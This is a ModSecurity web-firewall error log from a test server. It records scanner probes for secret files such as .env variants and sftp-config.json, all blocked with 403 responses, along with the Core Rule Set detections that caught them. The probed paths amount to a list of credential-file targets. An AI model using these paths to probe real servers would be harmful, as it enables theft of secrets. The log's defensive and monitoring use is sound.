[Mon Sep 01 10:14:34.852665 2025] [:error] [pid 2391680] [client 23.180.120.244:39036] [client 23.180.120.244] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.save&quot;] [unique_id &quot;aLVV6t3Px5mqa7e6xgULEgAAAAE&quot;]
[Mon Sep 01 10:14:34.852824 2025] [:error] [pid 2391680] [client 23.180.120.244:39036] [client 23.180.120.244] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.save&quot;] [unique_id &quot;aLVV6t3Px5mqa7e6xgULEgAAAAE&quot;]
[Mon Sep 01 10:14:35.058605 2025] [:error] [pid 2391681] [client 23.180.120.244:39040] [client 23.180.120.244] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.prod&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.prod&quot;] [unique_id &quot;aLVV62ZlcKnuDjvToZkXCgAAAAI&quot;]
[Mon Sep 01 10:14:35.058840 2025] [:error] [pid 2391681] [client 23.180.120.244:39040] [client 23.180.120.244] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.prod&quot;] [unique_id &quot;aLVV62ZlcKnuDjvToZkXCgAAAAI&quot;]
[Mon Sep 01 10:14:35.059008 2025] [:error] [pid 2391681] [client 23.180.120.244:39040] [client 23.180.120.244] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.prod&quot;] [unique_id &quot;aLVV62ZlcKnuDjvToZkXCgAAAAI&quot;]
[Mon Sep 01 10:14:35.208204 2025] [:error] [pid 2391679] [client 23.180.120.244:39054] [client 23.180.120.244] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /api/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/.env&quot;] [unique_id &quot;aLVV64u1PJKJEtIU21bXYQAAAAA&quot;]
[Mon Sep 01 10:14:35.208441 2025] [:error] [pid 2391679] [client 23.180.120.244:39054] [client 23.180.120.244] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/.env&quot;] [unique_id &quot;aLVV64u1PJKJEtIU21bXYQAAAAA&quot;]
[Mon Sep 01 10:14:35.208615 2025] [:error] [pid 2391679] [client 23.180.120.244:39054] [client 23.180.120.244] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/.env&quot;] [unique_id &quot;aLVV64u1PJKJEtIU21bXYQAAAAA&quot;]
[Mon Sep 01 10:14:35.489302 2025] [:error] [pid 2391702] [client 23.180.120.244:39058] [client 23.180.120.244] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /dev/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/dev/.env&quot;] [unique_id &quot;aLVV67g3R4XdSvkXlQn1JAAAAAU&quot;]
[Mon Sep 01 10:14:35.489531 2025] [:error] [pid 2391702] [client 23.180.120.244:39058] [client 23.180.120.244] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/dev/.env&quot;] [unique_id &quot;aLVV67g3R4XdSvkXlQn1JAAAAAU&quot;]
[Mon Sep 01 10:14:35.489699 2025] [:error] [pid 2391702] [client 23.180.120.244:39058] [client 23.180.120.244] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/dev/.env&quot;] [unique_id &quot;aLVV67g3R4XdSvkXlQn1JAAAAAU&quot;]
[Mon Sep 01 10:14:35.665101 2025] [:error] [pid 2392171] [client 23.180.120.244:39060] [client 23.180.120.244] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /application/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/application/.env&quot;] [unique_id &quot;aLVV6wC7fhEOIMTTa6W3iwAAAAY&quot;]
[Mon Sep 01 10:14:35.665337 2025] [:error] [pid 2392171] [client 23.180.120.244:39060] [client 23.180.120.244] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/application/.env&quot;] [unique_id &quot;aLVV6wC7fhEOIMTTa6W3iwAAAAY&quot;]
[Mon Sep 01 10:14:35.665513 2025] [:error] [pid 2392171] [client 23.180.120.244:39060] [client 23.180.120.244] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/application/.env&quot;] [unique_id &quot;aLVV6wC7fhEOIMTTa6W3iwAAAAY&quot;]
[Mon Sep 01 10:14:36.593887 2025] [:error] [pid 2392978] [client 23.180.120.244:39130] [client 23.180.120.244] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /backend/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/backend/.env&quot;] [unique_id &quot;aLVV7JvB0P1ETmtquLZtrAAAAAc&quot;]
[Mon Sep 01 10:14:36.594142 2025] [:error] [pid 2392978] [client 23.180.120.244:39130] [client 23.180.120.244] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/backend/.env&quot;] [unique_id &quot;aLVV7JvB0P1ETmtquLZtrAAAAAc&quot;]
[Mon Sep 01 10:14:36.594316 2025] [:error] [pid 2392978] [client 23.180.120.244:39130] [client 23.180.120.244] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/backend/.env&quot;] [unique_id &quot;aLVV7JvB0P1ETmtquLZtrAAAAAc&quot;]
[Mon Sep 01 10:14:36.738822 2025] [:error] [pid 2391680] [client 23.180.120.244:39144] [client 23.180.120.244] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.example&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.example&quot;] [unique_id &quot;aLVV7N3Px5mqa7e6xgULEwAAAAE&quot;]
[Mon Sep 01 10:14:36.739050 2025] [:error] [pid 2391680] [client 23.180.120.244:39144] [client 23.180.120.244] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.example&quot;] [unique_id &quot;aLVV7N3Px5mqa7e6xgULEwAAAAE&quot;]
[Mon Sep 01 10:14:36.739200 2025] [:error] [pid 2391680] [client 23.180.120.244:39144] [client 23.180.120.244] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.example&quot;] [unique_id &quot;aLVV7N3Px5mqa7e6xgULEwAAAAE&quot;]
[Mon Sep 01 10:14:36.932804 2025] [:error] [pid 2391681] [client 23.180.120.244:39158] [client 23.180.120.244] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /admin/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/admin/.env&quot;] [unique_id &quot;aLVV7GZlcKnuDjvToZkXCwAAAAI&quot;]
[Mon Sep 01 10:14:36.933035 2025] [:error] [pid 2391681] [client 23.180.120.244:39158] [client 23.180.120.244] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/admin/.env&quot;] [unique_id &quot;aLVV7GZlcKnuDjvToZkXCwAAAAI&quot;]
[Mon Sep 01 10:14:36.933216 2025] [:error] [pid 2391681] [client 23.180.120.244:39158] [client 23.180.120.244] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/admin/.env&quot;] [unique_id &quot;aLVV7GZlcKnuDjvToZkXCwAAAAI&quot;]
[Tue Sep 02 17:31:10.742098 2025] [:error] [pid 2415366] [client 3.140.182.19:55463] [client 3.140.182.19] ModSecurity: Warning. Matched phrase &quot;zgrab&quot; at REQUEST_HEADERS:User-Agent. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-913-SCANNER-DETECTION.conf&quot;] [line &quot;55&quot;] [id &quot;913100&quot;] [msg &quot;Found User-Agent associated with security scanner&quot;] [data &quot;Matched Data: zgrab found within REQUEST_HEADERS:User-Agent: mozilla/5.0 zgrab/0.x&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-reputation-scanner&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/AUTOMATION/SECURITY_SCANNER&quot;] [tag &quot;WASCTC/WASC-21&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/&quot;] [unique_id &quot;aLcNvkwHX7QrTBcxXXE29QAAAAQ&quot;]
[Tue Sep 02 17:31:10.742555 2025] [:error] [pid 2415366] [client 3.140.182.19:55463] [client 3.140.182.19] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/&quot;] [unique_id &quot;aLcNvkwHX7QrTBcxXXE29QAAAAQ&quot;]
[Tue Sep 02 17:31:10.742753 2025] [:error] [pid 2415366] [client 3.140.182.19:55463] [client 3.140.182.19] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/&quot;] [unique_id &quot;aLcNvkwHX7QrTBcxXXE29QAAAAQ&quot;]
[Thu Sep 04 11:35:32.781267 2025] [:error] [pid 2466858] [client 176.65.148.43:57268] [client 176.65.148.43] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;aLldZMhHBJc5a4FCDeWykAAAAAI&quot;]
[Thu Sep 04 11:35:32.784253 2025] [:error] [pid 2466858] [client 176.65.148.43:57268] [client 176.65.148.43] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;aLldZMhHBJc5a4FCDeWykAAAAAI&quot;]
[Thu Sep 04 11:35:32.784434 2025] [:error] [pid 2466858] [client 176.65.148.43:57268] [client 176.65.148.43] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;aLldZMhHBJc5a4FCDeWykAAAAAI&quot;]
[Fri Sep 05 12:07:22.309407 2025] [:error] [pid 2493250] [client 194.233.80.217:63593] [client 194.233.80.217] ModSecurity: Warning. Matched phrase &quot;/sftp-config.json&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /sftp-config.json found within REQUEST_FILENAME: /sftp-config.json&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/sftp-config.json&quot;] [unique_id &quot;aLq2WiTJqtUiKB43SURgLQAAAAY&quot;], referer: http://pms.test.indacotrentino.com/sftp-config.json
[Fri Sep 05 12:07:22.309660 2025] [:error] [pid 2493250] [client 194.233.80.217:63593] [client 194.233.80.217] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/sftp-config.json&quot;] [unique_id &quot;aLq2WiTJqtUiKB43SURgLQAAAAY&quot;], referer: http://pms.test.indacotrentino.com/sftp-config.json
[Fri Sep 05 12:07:22.309848 2025] [:error] [pid 2493250] [client 194.233.80.217:63593] [client 194.233.80.217] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/sftp-config.json&quot;] [unique_id &quot;aLq2WiTJqtUiKB43SURgLQAAAAY&quot;], referer: http://pms.test.indacotrentino.com/sftp-config.json
[Fri Sep 05 12:07:22.332415 2025] [:error] [pid 2491887] [client 194.233.80.217:57192] [client 194.233.80.217] ModSecurity: Warning. Matched phrase &quot;/sftp-config.json&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /sftp-config.json found within REQUEST_FILENAME: /prevlaravel/sftp-config.json&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/prevlaravel/sftp-config.json&quot;] [unique_id &quot;aLq2WqRNJdevni-wfxFOjgAAAAI&quot;], referer: http://pms.test.indacotrentino.com/prevlaravel/sftp-config.json
